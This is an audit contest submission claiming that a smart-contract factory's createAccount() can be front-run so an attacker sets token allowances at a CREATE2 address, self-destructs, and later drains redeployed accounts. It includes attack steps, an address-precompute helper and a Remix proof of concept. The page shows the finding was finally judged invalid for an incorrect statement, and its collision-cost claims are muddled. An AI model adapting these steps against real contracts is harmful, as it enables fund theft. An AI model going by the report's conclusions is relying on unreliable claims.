HardhatFoundry
30,000 USDC
View results
Submission Details
Severity: high
Invalid

`createAccount()` Function can be frontrun to set allowance for an attacker

Summary

The factory function createAccount() creates a new account contract for the user using CREATE2. We show that an attacker can set allowances before calling selfdestruct, impacting subsequent legitimate users who redeploy the account at the same address. This allows an attacker to drain funds from accounts deployed at these addresses.

Vulnerability Details

The createDeterministicERC1967 function takes three parameters (msg.value, ACCOUNT_IMPLEMENTATION, and actualSalt) to deploy a new instance of a contract. All three parameters are deterministic and can be read on-chain. Although the actualSalt is derived from the hash of the calldataLength, it is still possible to compute this.

During network congestion, transactions can sit in the mempool before being included in a block. An attacker can access these pending transactions, decode the input field using certain libraries, and extract the necessary details.

{
"hash": "0xtransactionhash",
"nonce": 1,
"blockHash": null,
"blockNumber": null,
"transactionIndex": null,
"from": "0xsenderaddress",
"to": "0xcontractaddress",
"value": "0xvalue",
"gasPrice": "0xgasprice",
"gas": "0xgaslimit",
"input": "0xfunctionSelectorEncodedParameters",
"v": "0xv",
"r": "0xr",
"s": "0xs"
}

The msg.value is also present in the transaction details. With this information, an attacker can front-run the legitimate transaction by deploying a contract to the same address, setting allowances for themselves before calling selfdestruct.

PoC: Setting Allowances

In createAccount, CREATE2 salt is user-supplied, and msg.value is also user-supplied:

function createAccount(bytes calldata initData, bytes32 salt) external payable override returns (address payable) {
// Compute the actual salt for deterministic deployment
bytes32 actualSalt;
assembly {
let ptr := mload(0x40)
let calldataLength := sub(calldatasize(), 0x04)
mstore(0x40, add(ptr, calldataLength))
calldatacopy(ptr, 0x04, calldataLength)
actualSalt := keccak256(ptr, calldataLength)
}
// Deploy the account using the deterministic address
(bool alreadyDeployed, address account) = LibClone.createDeterministicERC1967(msg.value, ACCOUNT_IMPLEMENTATION, actualSalt);
if (!alreadyDeployed) {
INexus(account).initializeAccount(initData);
emit AccountCreated(account, initData, salt);
}
return payable(account);
}

The steps an attacker will need to perform are:

  1. Determine ACCOUNT_IMPLEMENTATION from the contract storage.

  2. Read calldata from the mempool.

  3. Front-run and deploy a malicious contract to the target address with the ability to set allowances.

  4. Call selfdestruct in the same transaction to remove the malicious contract bytecode but leave the allowances set.

An attacker can pre-compute the deterministic address using the following method:

address computeDeterministicAddress(bytes32 salt, uint256 value, address implementation) {
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
keccak256(abi.encodePacked(salt, value)),
keccak256(abi.encodePacked(implementation))
)))));
}

PoC: Impact on Subsequent Users

Assuming an attacker has set allowances and called selfdestruct, the steps for impacting subsequent users are:

  1. A legitimate user deploys an account to the same address.

  2. The user initializes the account, unaware that allowances have already been set.

  3. The attacker exploits these allowances to drain funds from the user's account.

Coded unit-PoC

While we cannot provide an actual hash collision due to infrastructural constraints, we provide a coded PoC to prove the following properties of the EVM enabling this attack:

  1. A contract can be deployed on top of an address that already had a contract before.

  2. By deploying a contract and calling selfdestruct in the same transaction, allowances can be set for an address that has no bytecode.

Steps to recreate:

  1. Paste the following file onto Remix:

pragma solidity ^0.8.20;
contract Token {
mapping(address => mapping(address => uint256)) public allowance;
function increaseAllowance(address to, uint256 amount) public {
allowance[msg.sender][to] += amount;
}
}
contract InstantApprove {
function setApprove(Token ts, uint256 amount) public {
ts.increaseAllowance(msg.sender, amount);
}
function destroy() public {
selfdestruct(payable(tx.origin));
}
}
contract Test {
Token public ts;
uint256 public constant APPROVE_AMOUNT = 2e18;
constructor() {
ts = new Token();
}
function test(uint _salt) public returns (address) {
InstantApprove ia = new InstantApprove{salt: keccak256(abi.encodePacked(_salt))}();
address ia_addr = address(ia);
ia.setApprove(ts, APPROVE_AMOUNT);
ia.destroy();
return ia_addr;
}
function getCodeSize(address addr) public view returns (uint) {
uint size;
assembly {
size := extcodesize(addr)
}
return size;
}
function getAllowance(address from) public view returns (uint) {
return ts.allowance(from, address(this));
}
}
  1. Deploy the contract Test.

  2. Run the function Test.test() with a salt of your choice and record the returned address. The results will be:

    • Test.getAllowance() for that address will return exactly APPROVE_AMOUNT.

    • Test.getCodeSize() for that address will return exactly zero.

  3. Using the same salt, run Test.test() again. The transaction will go through, and the result will be:

    • Test.test() returns the same address as the first run.

    • Test.getAllowance() for that address will return twice APPROVE_AMOUNT.

    • Test.getCodeSize() for that address will still return zero.

Impact

Complete draining of an account's funds if allowances are set and selfdestruct is called.

The advancement of computing hardware shows that the cost of an attack is just a few million dollars, and the current Bitcoin network hashrate allows brute-forcing in about half an hour. The cost of the attack may be offset by longer brute-force times.

For DeFi protocols, it is normal for account balances to reach significant values. Such an attack is massively profitable and poses a severe risk to the protocol's users.

Recommendations

To mitigate this vulnerability, avoid allowing user-supplied salt, ensuring salts are securely generated on-chain, or implement additional verification steps before deploying contracts to deterministic addresses.

Updates

Lead Judging Commences

0xnevi Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-front-run-createAccount-fund-loss

Valid high, given it can be executed on any chain that has a public mempool. - These two issues has similar root cause as issue #171 and duplicates, but is the only issue that highlights a valid exploit scenario that can cause a loss of funds - Issue #82 can forcefully cause funds to be stuck within the factory contract, given `createDeterministicERC1967` will not revert when a new Nexus Proxy instance is already deployed. - Issue #91 can forcefully transfer funds out of Nexus Account by front-running a creation, setting a allowance and then self destructing. Duplicating due to the following reasons: - Both issues are contigent on front-running an account creation, which is only possible since the salt use to deploy a new Nexus Proxy instance are user deployed. So the same fix of including `msg.sender` and/or a unique identifier would prevent these attacks. i.e. same root cause --> different attack paths - Both issues have similarities with issue #112 , but I would say is a unique issue given even if #112 is fixed, this issues will not be fixed

Appeal created

adriro Judge
11 months ago
0xnevi Lead Judge
11 months ago
0xnevi Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.